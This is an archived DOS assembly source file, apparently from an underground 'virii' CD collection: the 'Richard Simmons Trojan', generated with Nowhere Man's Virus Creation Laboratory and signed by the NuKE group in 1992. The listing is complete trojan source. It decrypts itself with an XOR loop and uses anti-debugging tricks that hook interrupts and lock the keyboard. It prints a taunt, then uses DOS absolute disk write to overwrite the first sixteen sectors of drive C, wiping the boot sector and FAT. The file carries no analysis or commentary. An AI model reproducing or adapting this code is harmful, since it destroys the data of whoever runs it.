home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / r / richards.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  2.4 KB  |  83 lines

  1. ; RICHARDS.ASM -- R. Simmons Trojan
  2.  
  3. ; Created with Nowhere Man's Virus Creation Laboratory v1.00
  4.  
  5. ; Written by Nowhere Man
  6.  
  7.  
  8.  
  9. virus_type    equ    3            ; Trojan Horse
  10.  
  11. is_encrypted    equ    1            ; We're encrypted
  12.  
  13. tsr_virus    equ    0            ; We're not TSR
  14.  
  15.  
  16.  
  17. code        segment byte public
  18.  
  19.         assume    cs:code,ds:code,es:code,ss:code
  20.  
  21.         org    0100h
  22.  
  23.  
  24.  
  25. start        label    near
  26.  
  27.  
  28.  
  29. main        proc    near
  30.  
  31.         call    encrypt_decrypt        ; Decrypt the virus
  32.  
  33.  
  34.  
  35. start_of_code    label    near
  36.  
  37.  
  38.  
  39. stop_tracing:    mov    cx,09EBh
  40.  
  41.         mov    ax,0FE05h        ; Acutal move, plus a HaLT
  42.  
  43.         jmp    $-2
  44.  
  45.         add    ah,03Bh            ; AH now equals 025h
  46.  
  47.         jmp    $-10            ; Execute the HaLT
  48.  
  49.         mov    bx,offset null_vector    ; BX points to new routine
  50.  
  51.         push    cs            ; Transfer CS into ES
  52.  
  53.         pop    es            ; using a PUSH/POP
  54.  
  55.         int    021h
  56.  
  57.         mov    al,1            ; Disable interrupt 1, too
  58.  
  59.         int    021h
  60.  
  61.         jmp    short skip_null        ; Hop over the loop
  62.  
  63. null_vector:    jmp    $            ; An infinite loop
  64.  
  65. skip_null:    mov    byte ptr [lock_keys + 1],130  ; Prefetch unchanged
  66.  
  67. lock_keys:    mov    al,128            ; Change here screws DEBUG
  68.  
  69.         out    021h,al            ; If tracing then lock keyboard
  70.  
  71.  
  72.  
  73.         mov    si,offset data00    ; SI points to data
  74.  
  75.         mov    ah,0Eh            ; BIOS display char. function
  76.  
  77. display_loop:   lodsb                ; Load the next char. into AL
  78.  
  79.         or    al,al            ; Is the character a null?
  80.  
  81.         je    disp_strnend        ; If it is, exit
  82.  
  83.         int    010h            ; BIOS video interrupt
  84.  
  85.         jmp    short display_loop    ; Do the next character
  86.  
  87. disp_strnend:
  88.  
  89.  
  90.  
  91.         mov    ax,0002h        ; First argument is 2
  92.  
  93.         mov    cx,0010h        ; Second argument is 16
  94.  
  95.         cli                ; Disable interrupts (no Ctrl-C)
  96.  
  97.         cwd                ; Clear DX (start with sector 0)
  98.  
  99.         int    026h            ; DOS absolute write interrupt
  100.  
  101.         sti                ; Restore interrupts
  102.  
  103.  
  104.  
  105.  
  106.  
  107.         mov    ax,04C00h        ; DOS terminate function
  108.  
  109.         int    021h
  110.  
  111. main        endp
  112.  
  113.  
  114.  
  115. data00        db      "C'mon now, trim that FAT!  1 and 2 and 3 and....",13,10,10,0
  116.  
  117.  
  118.  
  119. vcl_marker    db    "[VCL]",0        ; VCL creation marker
  120.  
  121.  
  122.  
  123.  
  124.  
  125. note        db    "The Richard Simmons Trojan; gu"
  126.  
  127.         db    "aranteed to get rid of that un"
  128.  
  129.         db    "sightly FAT in no time!",0
  130.  
  131.         db    "[Richard Simmons Trojan]",0
  132.  
  133.         db    "Nowhere Man, [NuKE] '92",0
  134.  
  135.  
  136.  
  137. end_of_code    label    near
  138.  
  139.  
  140.  
  141. encrypt_decrypt    proc    near
  142.  
  143.         mov    si,offset start_of_code ; SI points to code to decrypt
  144.  
  145.         mov    cx,(end_of_code - start_of_code) / 2 ; CX holds length
  146.  
  147. xor_loop:    xor    word ptr [si],06734h    ; XOR a word by the key
  148.  
  149.         inc    si            ; Do the next word
  150.  
  151.         inc    si            ;
  152.  
  153.         loop    xor_loop        ; Loop until we're through
  154.  
  155.         ret                ; Return to caller
  156.  
  157. encrypt_decrypt    endp
  158.  
  159. finish        label    near
  160.  
  161.  
  162.  
  163. code        ends
  164.  
  165.         end    main